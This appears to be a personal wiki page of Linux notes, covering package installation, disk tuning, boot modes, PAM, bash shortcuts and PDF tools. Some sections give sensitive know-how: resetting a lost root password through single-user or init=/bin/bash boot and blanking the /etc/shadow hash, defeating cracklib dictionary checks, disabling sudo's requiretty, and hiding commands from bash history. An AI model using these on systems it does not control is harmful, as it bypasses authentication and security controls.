Linux/Notes

Linux
What is Linux?
 * Short answer - Linux is a kernel.
 * Strictly speaking, Linux is nothing but the Linux kernel. However, term Linux is used to describe Linux as an an operating system. The term Linux distribution is used to refer to the various operating systems built on top of the Linux Kernel.

Switch to Linux - Humor
Switch to Linux

Local Copy: \\data\archive\Documents\Technical\SwitchtoLinux\switchtolinux.html saved 3/21/2003

Why Linux is Better
Why Linux is better:
 * Forget about viruses.
 * Is your system unstable?
 * Linux protects your computer.
 * Don't pay $300 for your operating system.
 * Freedom!
 * When the system has installed, why would you still need to install stuff?
 * Forget about drivers.
 * Update all your software with a single click.
 * Why copy software illegally if you can get it for free?
 * Need new software? Don't bother searching the web, Linux gets it for you.
 * Jump into the next generation of desktops.
 * Does your digital life seem fragmented?
 * Choose what your desktop looks like.
 * Why does your Windows get slower day after day?
 * Do something for the environment.
 * No back doors in your software.
 * Enjoy free and unlimited support.
 * Too many windows? Use workspaces.
 * Don't wait years for bugs to be solved; report and track them down.
 * Are you tired of restarting your computer all the time?
 * Let your old computer have a second life.
 * Play hundreds of games for free.
 * Help other countries, and your own.
 * Use MSN, AIM, ICQ, Jabber, with a single program.
 * Get a great music player.
 * Keep an eye on the weather.

The few cases where you should stick to Windows (for now):
 * There is proprietary software you can't live without
 * You're a hardcore gamer
 * You work in the book/printing industry
 * Your hardware is not yet supported

Filesystem Hierarchy Standard

 * Filesystem Hierarchy Standard

Directory	Description bin	Essential command binaries boot	Static files of the boot loader dev	Device files etc	Host-specific system configuration lib	Essential shared libraries and kernel modules media	Mount point for removeable media mnt	Mount point for mounting a filesystem temporarily opt	Add-on application software packages sbin	Essential system binaries srv	Data for services provided by this system tmp	Temporary files usr	Secondary hierarchy var	Variable data

Linux Directory Structure

Filesystem Hierarchy Standard

Designing Integrated High Quality Linux Applications: Linux Directory Hierarchy: Oriented to the Software Parts

Mount ISO
Mount ISO: mount -o loop disk1.iso /mnt/disk

Reference: How to: Mount an ISO image under Linux

Build ISO
See ISO

Linux Installation Notes
Fedora Core 4 Linux Installation Notes http://www.stanton-finley.net/fedora_core_4_installation_notes.html#nVidia

Fedora Core 2 Linux Installation Notes http://stanton-finley.net/fedora_core_3_installation_notes.html

MP3 on Fedora Core 5
Personal Fedora Core 4 Installation Guide - mp3 player http://www.mjmwired.net/resources/mjm-fedora-fc5.html#xmmsl

xmms-mp3 RPM http://ftp.freshrpms.net/pub/freshrpms/fedora/linux/5/xmms-mp http://bordeaux.freshrpms.net/rpm.html?id=1080

Flash MP3 and Firefox
Fedora Multimedia Installation HOWTO

Official Flash Test Page

I am using gnash instead of Adobe's flash because they do not have a 64bit edition.

gstreamer-plugins-ugly

[root@hal kenneth]# rpm -Uvh gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64.rpm warning: gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64.rpm: Header V3 DSA signature: NOKEY, key ID e42d547b error: Failed dependencies: liba52.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libamrnb.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libdvdread.so.3(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libid3tag.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libmad.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libmp3lame.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libmpeg2.so.0(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64 libsidplay.so.1(64bit) is needed by gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64

I tried

[root@hal kenneth]# rpm -Uvh gstreamer-plugins-ugly-0.10.3-1.fc5.x86_64.rpm

but I still get the errors above.

http://bordeaux.freshrpms.net/rpm.html?id=1193

Getting started - http://freshrpms.net/packages/ Since Red Hat Linux 8.0, rpm handles package signature checking internally. This is why you should feed rpm the public keys used to sign the packages you want to install. This can be easily done by downloading the RPM-GPG-KEY-freshrpms file above then running : rpm --import RPM-GPG-KEY-freshrpms rpm --import /usr/share/doc/fedora-release-*/RPM-GPG-KEY-fedora The second line will import Red Hat's Fedora public key, which is recommended. This needs te be done as root of course, and after, you will also be able to install packages that have a valid gpg signature by simply double-clicking them from nautilus, the GNOME file manager (although I don't find that very intuitive). Using a dependency tool like apt or yum is definitely much more practical. To use yum or apt to install packages, the easiest is to upgrade to the pre-configured yum and apt packages which can be found from the links above and on ayo.freshrpms.net. Starting with Fedora Core 3, you will only need to install the freshrpms-release package to enable fetching freshrpms packages with yum.

Easy to do: rpm -Uvh http://ftp.freshrpms.net/pub/freshrpms/fedora/linux/5/freshrpms-release/freshrpms-release-1.1-1.fc.noarch.rpm No I was able to do yum install ffmpeg with no problems.

For the ultimate test visit The Viking Kittens or Ultimate Showdown of Ultimate Destiny. I was able to get the Viking Kittens video to play, but I did have to right click on the flash movie and click "Toggle Sound" 3 times before the sound would start playing. I was unable to get the Ultimate Showdown to play.

Linux Benchmarking
See Linux Benchmarking

/proc
/proc/[PID] - Process Details cat cmdline   # command line as it would appear in 'ps aux' readlink cwd  # cwd for process fd/*          # open file handles

Linux Process Control

 * Linux Shortcuts and Commands: Process control

nice
see Linux/Tools

Detaching Process
To start a command in the background: &

To background a running process: + bg [number] bg

To see a list of jobs for the current user: jobs

To foreground a job fg [number] fg


 * Detaching and Re-attaching to Interactive Background Processes
 * how to detach a running process?

Linux Administration

 * Linux NewBie Administration Guide
 * Linux System Administration and Configuration
 * Linux Shortcuts and Commands: Some administration commands


 * Writing device drivers in Linux: A brief tutorial
 * Developing GNOME Applications with Java
 * Secure Linux/UNIX access with PuTTY and OpenSSH

Nagios
See Nagios

KDE Close Window on Top Right Corner Crash
The default behavior for the top right corner of a maximized window is to resize the window. When I "crash" into the top right corner, and click, I expect the window will close. Luckily this behavior can be enforced.

This behaviour is very simple to get, Setting->control center->desktop->window behaviour->moving and deselect allow moving and resizing of maximised windows. Voila, the border disappears and scroll bars are at the limits of the screen. "crashing" the pointer to the top-right corner of the screen

http://www.freebsdforums.org/forums/showthread.php?p=239909

I was able to get this working in KDE by doing the following:

1. Open Control Center 2. Select Desktop branch 3. Select Window Behavior branch 4. Select Moving tab 5. Deselected "Allow moving and resizing of maximized windows"

Now I can click the top right corner on a maximized window and it will close the application.

I should probably also post some of the other, maybe important details...

I am running KDE 3.5.1 with the Plastik theme.

When I had the "Allow moving and resizing of maximized windows" selected, I had a "resize" bar around my entire window, even in maximized mode. Once I had that fixed that I moved on to the buttons. To get the close, minimze, and maximize buttons to touch the edge of the window, I had to find a theme that was built with the buttons on the edge of the window. The "Plastik" theme was the theme that I found that had the buttons touching the edge of the window.

Now I can "crash" my mouse into the top right corner to close the window.

The other nice thing about this theme is the scroll bar is also placed on the edge of the window, so I can crash my mouse to the right side of the screen and scroll. I also have the top left, bottom left and bottom right corners working for me as well. ;-)

Hopefully this information will help you.

64bit Linux
What you should (and shouldn't) expect from 64-bit Linux

Determine Architecture
The best method appears to be to look for the "lm" flag from the output of /proc/cpuinfo.

How to determine the Linux architecture (64bit or 32bit) $ uname -a $ uname -m $ getconf LONG_BIT $ cat /proc/cpuinfo

How do I determine if the hardware of linux server is 32-bit or 64-bit

"The only sure way to know if you have a 64-bit ready hardware (possibly running a 32-bit Linux OS version) is to check the processor model in /proc/cpuinfo. If it says "Itanium", the hardware is 64bit-only. If your processor is Athlon 64 (Opteron) or one of the new Xeons, your hardware is capable of running in either 32- or 64-bit mode, and the "uname" or "getconf" methods will tell you which it is currently running. Anything else on a typical PC hardware is 32bit only." 

Another suggestion is to use the Hardware Lister (lshw). This program spits out much hardware detail, but didn't show 32 vs 64 any better than anything else. 

PLUG 64bit Response
My research request to the PLUG list.

"clflush size" seems to indicate if the processor is 64bit. 

The "lm" flag (Long Mode) appears to even be a better method. 

$ cat /proc/cpuinfo | grep lm flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht     syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni cx16 lahf_lm cmp_legacy svm cr8legacy ts fid vid ttp tm stc

nixCraft answer
How do I find out if my Linux server CPU can run a 64 bit kernel version (apps) or not?

cat /proc/cpuinfo

Look for lm (long mode) flag entry in above output. If you see lm flags then you will able to run 64 bit kernel and applications.

Linux Games
See Linux Games

Change 'ls' colors
Linux colors

Two lines from my ~/.bashrc eval `dircolors ~/.dir_colors` alias ls="ls --color=auto" The command 'dircolors' takes its data from the file ~/.dir_colors and creates an environment variable LS_COLORS. The command 'ls --color' takes its colors from the environmental variable LS_COLORS. So, write a suitable ~/.dir_colors file, and execute the command 'dircolors'. To get a starting file for editing, do this: dircolors -p > ~/.dir_colors The ~/.dir_colors file so created includes directions on coding the colors for different kinds of files. See man dircolors.

CentOS Experience
 

http://en.wikipedia.org/wiki/CentOS http://en.wikipedia.org/wiki/Fedora_Core http://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux

The 'nail' package is not included with CentOS 5. Visiting the nail Source Forge project tells me that it is now included in the Heirloom mailx project. I ended up downloading the source code and compiling it, then renaming the 'mailx' binary to 'nail'.

Linux File System Structure
The LINUX File System Standard

HDD DMA vs PIO modes
IDE HDs performance optimization via hdparm

To see drive details: $ /sbin/hdparm -I /dev/hda /dev/hda: Model=DW CCA1300H0, FwRev=911.E922, SerialNo=DWW-2T27 Config={ HardSect NotMFM HdSw>15uSec SpinMotCtl Fixed DTR>5Mbs FmtGapReq } RawCHS=2100/16/63, TrkSize=57600, SectSize=600, ECCbytes=4 BuffType=3(DualPortCache), BuffSize=128kB, MaxMultSect=16, MultSect=16 DblWordIO=no, maxPIO=1(medium), DMA=yes, maxDMA=2(fast) CurCHS=2100/16/63, CurSects=2116800, LBA=yes, LBAsects=2116800 tDMA={min:150,rec:150}, DMA modes: sword0 mword0 mword1 IORDY=on/off, tPIO={min:380,w/IORDY:180}, PIO modes: mode3

To see current drive settings: $ /sbin/hdparm -v /dev/hda /dev/hda: multcount   =  0 (off) I/O support =  0 (default 16-bit) unmaskirq   =  0 (off) using_dma   =  0 (off) keepsettings = 0 (off) nowerr      =  0 (off) readonly    =  0 (off) readahead   =  8 (on) geometry    = 525/64/63, sectors = 2116800, start = 0

A quick NON-DESTRUCTIVE (ie. this won't hurt any of your data, etc) benchmark of your HD: $ /sbin/hdparm -t -T /dev/hda /dev/hda: Timing buffer-cache reads:  32 MB in  1.82 seconds =17.58 MB/sec Timing buffered disk reads: 16 MB in  7.27 seconds = 2.20 MB/sec

On some systems you can get the following report: $ cat /proc/ide/amd74xx --AMD BusMastering IDE Configuration Driver Version:                    2.13 South Bridge:                      0000:00:06.0 Revision:                          IDE 0xf2 Highest DMA rate:                  UDMA133 BM-DMA base:                       0xf000 PCI clock:                         33.3MHz ---Primary IDE---Secondary IDE-- Prefetch Buffer:             yes                 yes Post Write Buffer:           yes                 yes Enabled:                     yes                 yes Simplex only:                 no                  no Cable Type:                   80w                 80w ---drive0drive1drive2drive3- Transfer Mode:      UDMA      UDMA      UDMA      UDMA Address Setup:      30ns      30ns      30ns      30ns Cmd Active:         90ns      90ns      90ns      90ns Cmd Recovery:       30ns      30ns      30ns      30ns Data Active:        90ns      90ns      90ns      90ns Data Recovery:      30ns      30ns      30ns      30ns Cycle Time:         20ns      60ns      20ns      20ns Transfer Rate:  99.9MB/s  33.3MB/s  99.9MB/s  99.9MB/s

Disk Layout
The disk is written from the outside to the center: "'The beginning of the drive is physically located on the outer portion of the cylinder, so the read/write head can cover much more ground per revolution.'"

Other References

 * Am I really using DMA?
 * What is Ultra-DMA and why do I want it?
 * Introducing IDE
 * ATA Specs (LOTS OF DETAILS!)
 * System Tuning Info for Linux Servers
 * Linux Power Tuning
 * Tips on X Servers, Modems, and Optimizing Your Hard Drive
 * Securing and Optimizing Linux

MD Notes
An MD device that went too far

Colors on the CLI
some colors for a change

Edit the profile file vi /etc/profile and add the following lines:

eval `dircolors /etc/DIR_COLORS -b` export LS_OPTIONS='-s -F -T 0 --color=yes' Edit the bashrc file vi /etc/bashrc and add the line:
 * 1) Enable Colour ls

alias ls='ls --color=auto'

Temperature
See Linux Temperature

Mac OSX Linux Desktop
Linux desktop imitating OSX

Swap Space
See Linux/Swap

Password Generators

 * Random Password Generator
 * Secure Password Generator

Password Strength Meter

Screen
See Screen

Hacker Emblem
Hacker Emblem



What is the Game of Life? (includes a Java Game of Life applet)

Diff and Patch
see diff

see patch

ethtool
See ethtool

Boot to Single User (Maintenance) Mode

 * Password Recovery
 * Root Password Reset
 * Single User Mode
 * Maintenance Mode

"You may be able to boot single-user mode directly. If your system boots, but does not allow you to log in when it has completed booting, try single-user mode."

Grub
[http://www.dba-oracle.com/oracle_tips_lost_root.htm Lost Root Password. Now What?]: This will boot you into runlevel 1:
 * 1) boot to the Grub boot menu
 * 2) edit the boot line item with 'e'
 * 3) edit the kernel line item with 'e'
 * 4) append " 1" to the end of the line
 * 5) press 'b' to boot with the modified line item

Red Hat Linux 7.3: Rescue Mode:

If you are using GRUB, use the following steps to boot into single-user mode:
 * 1) If you have a GRUB password configured, type p and enter the password.
 * 2) Select Red Hat Linux with the version of the kernel that you wish to boot and type e for edit. You will be presented with a list of items in the configuration file for the title you just selected.
 * 3) Select the line that starts with kernel and type e to edit the line.
 * 4) Go to the end of the line and type single as a separate word (press the [Spacebar] and then type single). Press [Enter] to exit edit mode.
 * 5) Back at the GRUB screen, type b to boot into single user mode.

Lilo
Red Hat Linux 7.3: Rescue Mode:

If you are using LILO, specify one of these options at the LILO boot prompt (if you are using the graphical LILO, you must press [Ctrl]-[x] to exit the graphical screen and go to the boot: prompt): boot: linux single boot: linux emergency

"In emergency mode, you are booted into the most minimal environment possible. The root filesystem will be mounted read-only and almost nothing will be set up. The main advantage of emergency mode over linux single is that your init files are not loaded. If init is corrupted or not working, you can still mount filesystems to recover data that could be lost during a re-installation."

Lost root password (Linux):
 * "If it's LILO, just type "linux single" and that should do it"


 * mount -o remount,rw /
 * or possibly: mount -o remount,rw /dev/sda2
 * If you can do this, just type "passwd" once you are in and change it to whatever you like.
 * Or just edit /etc/shadow to remove the password field: move to just beyond the first ":" and remove everything up to the next ":"

"Another trick is to add "init=/bin/bash" (LILO "linux init=/bin/bash" or add it to the Grub "kernel" line). This will dump you to a bash prompt much earlier than single user mode, and a lot less has been initialized, mounted, etc. You'll definitely need the "-o remount,rw" here. Also note that other filesystems aren't mounted at all, so you may need to mount them manually if you need them. Look in /etc/fstab for the device names."

Other References

 * Resetting a Forgotten Root Password
 * Includes several methods, and also how to password protect single user mode
 * How to Reset forgotten Root passwords
 * Includes several methods, and also how to password protect single user mode
 * Root Password Recovery Fedora (RedHat)

rsync
see rsync

Compiling the Linux Kernel
See Kernel

Linux Boot Process
The Linux Boot Process

LVM
LVM is the Logical Volume Manager.

See LVM

Tip on Taking Screenshots
This tip comes from Girish in Chennai, India:

Taking screenshots on your Linux desktop is one of the most powerful techniques that can come in handy on a rainy day. The simplest way to achieve this end is typing this: $ xwd -out /tmp/shot.xwd

And then select the window you want to "photograph" with your mouse pointer. If you wish to capture the root window: $ xwd -root -out /tmp/rootwin.xwd

Typically you would invoke xwd from a different virtual desktop and use the keyboard to switch to the desktop in which the target window lies. This is to avoid overlapping windows occluding the target window. Once you obtain the dump, convert will help you convert to the format of choice. $ convert /tmp/shot.xwd ~/shots/xterm.png or $ convert /tmp/shot.xwd ~/shots/xterm.jpg

(Found: Linux Journal Weekly News Notes -- August 29, 2007)

iptraf
Default Settings: Reverse DNS lookups:       Off Service names:             Off Promiscuous:               Off Color:                      On Logging:                    Off Activity mode:         kbits/s MAC addresses:             Off TCP timeout:           15 mins Log interval:          60 mins Update interval:        0 secs Closed/idle persist:    0 mins

Defenestrate
See defenestrate

Expect
See Expect

Out of Memory

 * Linux feels slow - why?
 * includes several troubleshooting tips.


 * When Linux Runs Out of Memory
 * Includes example code to show how to force out of memory, to see effect

Login policies
The old method would be to use the /etc/login.defs file. PAM has taken over much of this responsibility, and may override options. The 'login.defs' will still be used (by the pam_limits module), but it will have to pass the craclib module first.

According to this article: "PAM is the Password Authentication Module, it is a way for lots of programs to delegate what used to be done by reading /etc/passwd and calling crypt."

Here's (more or less, from a high level) how PAM works:
 * 1) Program X requests that PAM authenticate a password
 * 2) PAM checks whether X is registered as a password service (in /etc/pam.d) and has a config file associated with it
 * 3) PAM loads each of the modules specified in /etc/pam.d/X from /lib/security, and pipes the password through them in turn.

We change the "required" for cracklib to an "optional", and we still run through crack, we still get a warning about password length, but the system accepts it. Right? Wrong! Cracklib is one of those modules with an unusual behavior - it asks you for your password twice, but it only asks the second time if you pass the crack test the first time. You will need to add similar parameters to cracklib as those seen in login.defs.

Disable check for password based on dictionary word
Error when changing password: BAD PASSWORD: it is based on a dictionary word

Dictionary checking is done by the PAM cracklib library (pam_cracklib.so).  Look in /etc/pam.d/*. There should be a line like: password required      pam_cracklib.so retry=3 minlen=6 difok=3 which does the dictionary word checking stuff.

You can always use the root user to force any password on any user, good or bad.

I have attempted to remove the cracklib lines from the pam.d files, but I have been unsuccessful in having the password change work afterwards.

Unless you want to modify the source code for the cracklib library, it is easier to just use an empty dictionary. This can be accomplished by generating a new dictionary file in a new location, or overwriting the default dictionary (/usr/) 'man pam_cracklib' reports that you can use the parameter 'dictpath=/path/to/dict' to specify the location of the new dictionary file. To generate a new dictionary you can use 'create-cracklib-dict' which is just a script that calls 'cracklib-format $* | cracklib-packer'. 'cracklib-packer --help' reports the default dictionary location is '/usr/share/cracklib/pw_dict' (do not run cracklib-packer without the --help paremeter or it will overwrite your dictionary). Generating an empty dictionary will not work, there needs to be at least one word in the dictionary.

To generate an almost empty dictionary, overwriting the default dictionary: echo "test" > /tmp/dict create-cracklib-dict /tmp/dict

To generate an almost empty dictionary, saved to another location: mkdir /dict echo "test" > /tmp/dict cracklib-format /tmp/dict | cracklib-packer /dict/custom-dict vi /etc/pam.d/system-auth password   requisite     pam_cracklib.so try_first_pass retry=3 dictpath=/dict/custom-dict

Password Checkers/Crackers

Bash Keyboard Shortcuts
Linux keyboard shortcuts you should know about » Pio’s Blog (Includes key images) Ctrl + Alt + Delete = Reboot computer Alt + F1...Fn = Switch to nth console Shift + Page Up/Page Down = Scroll console buffer Ctrl + L = Clear Screen Ctrl + C or Ctrl + \ = Kill current task Ctrl + D = Send EOF (End of File) Ctrl + Z = Pause process (use gb or fg with) Ctrl + A = Move cursor to beginning of line Ctrl + E = Move cursor to end of line Ctrl + K = Clear from cursor to end of line Ctrl + U = Clear from cursor to beginning of line Ctrl + W = Clear words to the left Ctrl + Y = Paste in items removed by Ctrl + K,U,W Tab = Command line auto completion Ctrl + R = Incremental search of command history Press Ctrl + R again to cycle through history
 * 1) Console/Terminal:
 * 1) Bash & Command-Line

Bash Shell Keyboard Shortcuts ( Default Command Shell for Ubuntu) Ctrl + H = Same as backspace Alt + F = Move cursor forward one word on the current line Alt + B = Move cursor backward one word on the current line

Readline shortcuts
 * GNU Readline is the library used to make advanced command-line wizardry convenient and conistent across a multitude of command-line applications. These programs include bash, bc, ftp, gnuplot, gpg, ksh, mysql, psql, python, smbclient, xmllint and zsh.

Ctrl + x + x = Jump to beginning Do it again to jump back to position Ctrl + p or (up arrow) = move back one in history Ctrl + n or (down arrow) = move forward one in history Ctrl + _ = undo edits in command line

Other Shortcut Pages

 * Bash Shell Keyboard Shortcuts For Linux Users
 * Command Line Keyboard Shortcuts for Mac OS X
 * Keyboard Shortcuts for Bash ( Command Shell for Ubuntu, Debian, Suse, Redhat, Linux, etc)

Tips and Tricks
Master the Linux bash command line with these 10 shortcuts
 * Recall history with Ctrl+R
 * Alias commands
 * Tab auto complete
 * CDPATH for quick cd usage
 * Calculations "echo $((16/2))" => "8"
 * Shell prompt "PS1='\u@\h:\w \@> ' ; export PS1"

B2V Guide to VMware ESX Server 2.x
 * Includes all sorts of tidbits of Linux information (along with VMware stuff)

Bash History

 * Ctrl + R = Incremental search of command history
 * Press Ctrl + R again to cycle through history

No logging commands to bash history:

Original Message Subject: 	Re: [sllug-members]: Non-root users and BASH shell history Date: 		Mon, 20 Apr 2009 10:51:08 -0600 From: 		Erik Falor  To: 		Salt Lake Linux Users Group Discussions 

Add the value 'ignorespace' to your $HISTCONTROL variable. It causes bash to not log commandlines which begin with a space. Then, it's just a matter of getting into the habit of hitting the spacebar before entering sensitive commands.

-- Erik Falor

Sudo
See Sudo

su
Usage su - su -c " "

sorry, you must have a tty to run sudo
sorry, you must have a tty to run sudo

Problem:I received this error when attempting to use a PHP script for some systems administration tasks.

sorry, you must have a tty to run sudo

Fix: You have to edit your sudo configuration.

1. Run visudo or edit /etc/sudoers 2. Comment out "Defaults requiretty"

syslog
See syslog

ShakE
Vleu.net: ShAkE
 * "Shake is a defragmenter that runs in userspace, without the need of patching the kernel and while the system is used (for now, on GNU/Linux only)."

shake [dir]

shake --pretend --verbose --verbose my_dir, alias shake -pvv my_dir.

--old 0 --bigsize 0

mount -o remount,user_xattr /[mount]

File Systems - ext3, ext4 reiser, xfs, jfs
See Linux/File Systems
 * Comparision of ext3, reiser, xfs, jfs
 * Convert ext3 to ext4

SELinux
See SELinux

noatime
/etc/fstab examples: /dev/sda7      /chroot   ext2    defaults,noatime    1 2 /dev/hda1      /boot     ext2    noauto,noatime      1 2

Mounting manually mount -o noatime,remount,rw /dev/hda3

References:
 * http://www.faqs.org/docs/securing/chap6sec73.html
 * http://linuxreviews.org/sysadmin/filesystems/
 * http://feedblog.org/2006/08/18/changing-linux-mount-options-at-runtime-noatime/

Headless OpenOffice
OpenOffice Installation Instructions for Linux
 * "...we need to configure and run OpenOffice w/o manual intervention, so we need to run OpenOffice in headless mode, that is, a virtual graphics environment. A lightweight but fast virtual framebuffer X11 server provides all the necessary graphical resources that a Openoffice needs, but without the complexities full interactive desktop system would have."

using openoffice headless ( macro, shell, php )
 * "a very simple script to run openoffice headless."

xvfb-run -a /usr/bin/openoffice -invisible "macro:///Library.module1.go($1)"

Open Office
Configure, Change or Set OpenOffice.org to Default Save Files in Microsoft Office Formats

OpenOffice large PDF exported files
Two things control PDF size and bloat:
 * 1) is the graphics in it (an embedded graphic has to be rasterized, at at least 300 dpi if not 6, and it can push files sizes into the MB very quick
 * 2) The fonts in the system will govern the size of text files. If you think this a Linux-only problem, then you have to look at the font rasterization algorithms embedded in the font files -- it could be that they are being rasterized at 600 dpi rather than 300 dpi, hence a 4X file size inflation over a different OS where the raster is only at 300 dpi.

pdf export file size: $ pdffonts tmp/Macro_security_settings_oo.pdf name                                type         emb sub uni object ID   --- --- --- - NimbusSansL-Bold                    Type 1       yes no  yes     24  0 CAAAAA+Albany-Bold                  TrueType     yes yes yes      9  0 NimbusSansL-Regu                    Type 1       yes no  yes     14  0 NimbusSanL-ReguItal                 Type 1       yes no  yes     19  0

The command 'pdffonts' will list any fonts used by a PDF, and whether they are embedded or a subset (embedding only characters needed).

Ways that have worked for me: pdf2ps .pdf .ps ps2pdf .ps .pdf
 * Convert pdf to ps, and back again:
 * Change the default font to a non embedding font by changing the default template in Calc.

PDF Compression:
 * OpenOffice 1.1.4 (Linux) creates huge PDF files
 * "...compresses the PDF files which isn't done on Linux. Don't ask me why. But analyzing the source code of OOo I found that there is a compression option. It seems to be disabled while compiling OOo for Linux."
 * "I tried printing from OO to a PS file and then used:" ps2pdf -dUseFlateCompression=true test.ps

Change default font in OpenOffice (Calc)
OOo Calc: setting default font
 * 1) Modify template
 * 2) Set template as default

Setting the default font in Calc, Impress, or Draw

VNC Server and Xvfb
Error: vncserver: couldn't find "xauth" on your PATH.

vncserver: couldn't find "xauth" on your PATH.:
 * Gave me the idea that I just need to install the xauth package.

PDF
Install: yum install ghostscript poppler-utils pdftk ImageMagick

-

Convert JPGs to PDF: (using ImageMagick) convert *.jpg pictures.pdf convert page1.jpg page2.jpg +compress file.pdf convert `ls -1v` file.pdf convert -page A4 -compress A4 *.png CH00.pdf convert a.png b.png -compress jpeg -resize 1240x1753 -units PixelsPerInch -density 150x150 multipage.pdf

convert a.png b.png -compress jpeg -resize 1240x1753 \ -extent 1240x1753 -gravity center \ -units PixelsPerInch -density 150x150 multipage.pdf

convert in.jpg -resize 1240x1750 -background black -compose Copy\ -gravity center -extent 1240x1750\ -units PixelsPerInch -density 150 out.pdf

convert in.jpg -units PixelsPerInch -set density '%[fx:w/8.27]'\ -repage a4 out.pdf

Set density attributes (but does not reduce actual image sizes!) convert -page 2400x2400 -density 300 *.jpg out.pdf  # 8in x 8in @ 300dpi

Reduce image quality and set density attribute: convert -resize 400x400 -page 400x400 -density 100 *.jpg out.pdf  # 4in x 4in @ 100dpi (low res)

-

Convert PostScript to PDF: ps2pdf input.ps ps2pdf input.ps output.ps ps2pdf12 input.ps output.ps ps2pdf13 input.ps output.ps ps2pdf14 input.ps output.ps
 * 1) ps2pdf links to ps2pdf12

Optimize PDF: pdfopt input.pdf output.pdf

Standard Thirteen PDF Fonts (generally don't embed) *Symbol *Times (plus four variants) *Helvetica (plus four variants) *Courier (plus four variants)

List Fonts in PDF: pdffonts input.pdf

References: Creating PDFs

---

Merge multiple PDFs: yum install pdfmerge # rpmforge

Usage: Syntax: pdfmerge file1.pdf file2.pdf... fileN.pdf outfile.pdf

Has some issues: ---

pdftk - PDF Tool Kit

Better Merge pdftk in1.pdf in2.pdf cat output out1.pdf

pdftk description: If PDF is electronic paper, then pdftk is an electronic : staple-remover, hole-punch, binder, secret-decoder-ring, and : X-Ray-glasses. Pdftk is a simple tool for doing everyday things : with PDF documents. Keep one in the top drawer of your desktop and : use it to: :          :     * Merge PDF Documents :    * Split PDF Pages into a New Document :    * Decrypt Input as Necessary (Password Required) :    * Encrypt Output as Desired :    * Burst a PDF Document into Single Pages :    * Report on PDF Metrics, including Metadata and Bookmarks :    * Uncompress and Re-Compress Page Streams :    * Repair Corrupted PDF (Where Possible)

Bandwidth Throttling
See Bandwidth Throttling

Throttle rsync
Throttle rsync with: ionice /usr/bin/rsync --progress [SRC] [DEST]

Or something like this: (bwlimit in kbps) rsync --delete --numeric-ids --relative --delete-excluded --bwlimit=10000 [SRC] [DEST]

User Administration
Add User:

Delete User:

Lock User: usermod -L

tcpdump
See tcpdump

nmap
See nmap

beep
beep

Installation wget http://www.johnath.com/beep/beep.c gcc beep.c -o beep

Usage: ./beep -l -f ./beep -l 75 -f 500

Example: >>> If through system speaker, there is a utility called "beep" >>> (http://www.johnath.com/beep/) >>> You can put it at the end of rc.sysinit (or just call it last in >>> whatever way you see fit) and not only beep, but play tunes. Only >>> limited by your imagination. > Here is the startup sound from ipcop for an example. > > # Send nice startup beep now > /usr/bin/beep -l 75 -f 500 > /usr/bin/beep -l 75 -f 1000 > /usr/bin/beep -l 75 -f 2000 > /usr/bin/beep -l 75 -f 3000 > > And on shutdown it does it reversed. > > # Send nice shutdown beep now > /usr/bin/beep -l 75 -f 3000 > /usr/bin/beep -l 75 -f 2000 > /usr/bin/beep -l 75 -f 1000 > /usr/bin/beep -l 75 -f 500
 * how to create a boot up sound / chime for servers

256 color mode of xterm ANSI
The 256 color mode of xterm

a small bash script which prints a table of escape sequences: colortable16.sh:
 * 1) !/bin/bash

echo echo Table for 16-color terminal escape sequences. echo Replace ESC with \\033 in bash. echo echo "Background | Foreground colors" echo "-" for((bg=40;bg<=47;bg++)); do	for((bold=0;bold<=1;bold++)) do		echo -en "\033[0m"" ESC[${bg}m  | " for((fg=30;fg<=37;fg++)); do			if [ $bold == "0" ]; then echo -en "\033[${bg}m\033[${fg}m [${fg}m " else echo -en "\033[${bg}m\033[1;${fg}m [1;${fg}m" fi done echo -e "\033[0m" done echo "- " done
 * 1) prints a color table of 8bg * 8fg * 2 states (regular/bold)

echo echo

256colors2.pl:
 * 1) !/usr/bin/perl
 * 2) Author: Todd Larason 
 * 3) $XFree86: xc/programs/xterm/vttests/256colors2.pl,v 1.2 2002/03/26 01:46:43 dickey Exp $


 * 1) use the resources for colors 0-15 - usually more-or-less a
 * 2) reproduction of the standard ANSI colors, but possibly more
 * 3) pleasing shades

for ($red = 0; $red < 6; $red++) { for ($green = 0; $green < 6; $green++) { for ($blue = 0; $blue < 6; $blue++) { printf("\x1b]4;%d;rgb:%2.2x/%2.2x/%2.2x\x1b\\",		  16 + ($red * 36) + ($green * 6) + $blue,		   ($red ? ($red * 40 + 55) : 0),		  ($green ? ($green * 40 + 55) : 0),		  ($blue ? ($blue * 40 + 55) : 0)); }   } }
 * 1) colors 16-231 are a 6x6x6 color cube

for ($gray = 0; $gray < 24; $gray++) { $level = ($gray * 10) + 8; printf("\x1b]4;%d;rgb:%2.2x/%2.2x/%2.2x\x1b\\",	  232 + $gray, $level, $level, $level); }
 * 1) colors 232-255 are a grayscale ramp, intentionally leaving out
 * 2) black and white


 * 1) display the colors

print "System colors:\n"; for ($color = 0; $color < 8; $color++) { print "\x1b[48;5;${color}m "; } print "\x1b[0m\n"; for ($color = 8; $color < 16; $color++) { print "\x1b[48;5;${color}m "; } print "\x1b[0m\n\n";
 * 1) first the system ones:

print "Color cube, 6x6x6:\n"; for ($green = 0; $green < 6; $green++) { for ($red = 0; $red < 6; $red++) { for ($blue = 0; $blue < 6; $blue++) { $color = 16 + ($red * 36) + ($green * 6) + $blue; print "\x1b[48;5;${color}m "; }	print "\x1b[0m "; }   print "\n"; }
 * 1) now the color cube

print "Grayscale ramp:\n"; for ($color = 232; $color < 256; $color++) { print "\x1b[48;5;${color}m "; } print "\x1b[0m\n";
 * 1) now the grayscale ramp

Referenced from: The 90s called; they want their 256 colors back

References:
 * ANSI escape code - http://en.wikipedia.org/wiki/ANSI_escape_code

